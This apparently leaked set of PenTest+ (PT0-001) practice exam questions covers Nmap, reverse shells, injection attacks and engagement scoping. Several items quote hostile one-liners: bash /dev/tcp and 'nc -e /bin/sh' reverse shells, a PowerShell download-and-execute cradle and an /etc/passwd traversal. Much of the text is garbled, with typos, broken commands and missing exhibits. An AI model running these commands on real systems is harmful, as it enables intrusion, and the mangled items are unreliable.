Pass PT0-001 Brain Dump Updated Certification Sample Questions [Q111-Q132]

Rate this post

Pass PT0-001 Brain Dump Updated Certification Sample Questions

Online PT0-001 Test Brain Dump Question and Test Engine

QUESTION 111
A constant wants to scan all the TCP Pots on an identified device. Which of the following Nmap switches will complete this task?

-p-

-p ALX,

-p 1-65534

-port 1-65534

QUESTION 112
A penetration tester compromises a system that has unrestricted network over port 443 to any host. The penetration tester wants to create a reverse shell from the victim back to the attacker. Which of the following methods would the penetration tester mostly like use?

perl -e ‘ use SOCKET’; $i='<SOURCEIP>; $p=’443;

ssh superadmin@<DESTINATIONIP> -p 443

nc -e /bin/sh <SOURCEIP> 443

bash -i >& /dev/tcp/<DESTINATIONIP>/ 443 0>&1

QUESTION 113
A technician is reviewing the following report. Given this information, identify which vulnerability can be definitively confirmed to be a false positive by dragging the “false positive” token to the “Confirmed” column for each vulnerability that is a false positive.

QUESTION 114
A penetration tester has successfully exploited a vulnerability on an organization’s authentication server and now wants to set up a reverse shell. The penetration tester finds that Netcat is not available on the target.
Which of the following approaches is a suitable option to attempt NEXT?

Run xterm to connect to the X-server of the target.

Attempt to escalate privileges to acquire an interactive shell.

Try to use the /dev/tcp socket.

Attempt to read out/etc/shadow.

QUESTION 115
A penetration tester is performing a code review against a web application Given the following URL and source code:

Which of the following vulnerabilities is present in the code above?

SQL injection

Cross-site scripting

Command injection

LDAP injection

QUESTION 116
After successfully enumerating users on an Active Directory domain controller using enum4linux a penetration tester wants to conduct a password-guessing attack Given the below output:

Which of the following can be used to extract usernames from the above output prior to conducting the attack?

cat enum41inux_output.txt > grep -v user I sed ‘s/[//’ I sed ‘s/]//’ 2> usernames.txt

grep user enuza41inux_output.txt I awk ‘{print $1}’ | cut -d[ -S2 I cut -d] -f1 > username.txt

grep -i rid v< enura.41inux_output. txt’ | cut -d: -S2 i cut -d] -f1 > usernames. txt

cut -d: -f2 enum41inux_output.txt | awk ‘{print S2}’ I cut -d: -f1 > usernaraes.txt

QUESTION 117
Given the following:
http://example.com/download.php?id-…/…/…/etc/passwd
Which of the following BEST describes the above attack?

Malicious file upload attack

Redirect attack

Directory traversal attack

Insecure direct object reference attack

QUESTION 118
After an Nmap NSE scan, a security consultant is seeing inconsistent results while scanning a host. Which of the following is the MOST likely cause?

Services are not listening

The network administrator shut down services

The host was not reachable

A firewall/IPS blocked the scan

QUESTION 119
The following line was found in an exploited machine’s history file. An attacker ran the following command:
bash -i >& /dev/tcp/192.168.0.1/80 0> &1
Which of the following describes what the command does?

Performs a port scan.

Grabs the web server’s banner.

Redirects a TTY to a remote system.

Removes error logs for the supplied IP.

QUESTION 120
A penetration tester compromises a system that has unrestricted network access over port 443 to any host. The penetration tester wants to create a reverse shell from the victim back to the attacker. Which of the following methods would the penetration tester MOST likely use?

perl -e ‘use SOCKET’; $i='<SOURCEIP>; $p=’443;

ssh superadmin@<DESTINATIONIP> -p 443

nc -e /bin/sh <SOURCEIP> 443

bash -i >& /dev/tcp/<DESTINATIONIP>/443 0>&1

QUESTION 121
Black box penetration testing strategy provides the tester with:

a target list

a network diagram

source code

privileged credentials

QUESTION 122
A penetration tester is required to perform OSINT on staff at a target company after completing the infrastructure aspect. Which of the following would be the BEST step for the penetration tester to take?

Obtain staff information by calling the company and using social engineering techniques.

Visit the client and use impersonation to obtain information from staff.

Send spoofed emails to staff to see if staff will respond with sensitive information.

Search the Internet for information on staff such as social networking sites.

QUESTION 123
A file contains several hashes. Which of the following can be used in a pass-the-hash attack?

NTLMv2

Kerberos

NTLMv1

LMv2

NTLM

QUESTION 124
Consider the following PowerShell command:
Powershell.exe IEX (New-Object Net.Webclient).downloadstring (http:// site/script.ps1″); Invoke-Cmdlet Which of the following BEST describes the actions performed this command?

Set the execution policy

Execute a remote script

Run an encoded command

Instantiate an object

QUESTION 125
A penetration tester attempts to perform a UDP port scan against a remote target using an Nmap tool installed onto a non-Kali Linux image. For some reason, the UDP scan falls to start. Which of the following would MOST likely help to resolve the issue?

Install the latest version of the tool.

Review local iptables for existing drop rules.

Relaunch the tool with elevated privileges.

Enable both IPv4 and IPv6 forwarding.

QUESTION 126
A tester intends to run the following command on a target system:
bash -i >& /dev/tcp/10.2.4.6/443 0>&1
Which of the following additional commands would need to be executed on the tester’s Linux system .o make (he pre*ous command success?

nc -nvlp 443

nc 10.2.4.6 443

nc -w3 10.2.4.6 443

nc-/bin/ah 10.2.4.6 443

QUESTION 127
Which of the following commands starts the Metasploit database?

msfconsole

workspace

msfvenom

db_init

db_connect

QUESTION 128
A penetration tester has been hired to perform a penetration test for an organization. Which of the following is indicative of an error-based SQL injection attack?

a=1 or 1–

1=1 or b–

1=1 or 2–

1=1 or a–

QUESTION 129
While engaging clients for a penetration test from highly regulated industries, which of the following is usually the MOST important to the clients from a business perspective?

Letter of engagement and attestation of findings

NDA and MSA

SOW and final report

Risk summary and executive summary

QUESTION 130
A penetration tester notices that the X-Frame-Options header on a web application is not set. Which of the following would a malicious actor do to exploit this configuration setting?

Use path modification to escape the application’s framework.

Create a frame that overlays the application.

Inject a malicious iframe containing JavaScript.

Pass an iframe attribute that is malicious.

QUESTION 131
Which of the following should a penetration tester verify prior to testing the login and permissions management for a web application that is protected by a CDN-based WAF?

If an NDA is signed with the CDN company

If the SSL certificates for the web application are valid

If a list of the applicable WAF rules was obtained

If the IP addresses for the penetration tester are whitelisted on the WAF

QUESTION 132
Click the exhibit button.

A penetration tester is performing an assessment when the network administrator shows the tester a packet sample that is causing trouble on the network. Which of the following types of attacks should the tester stop?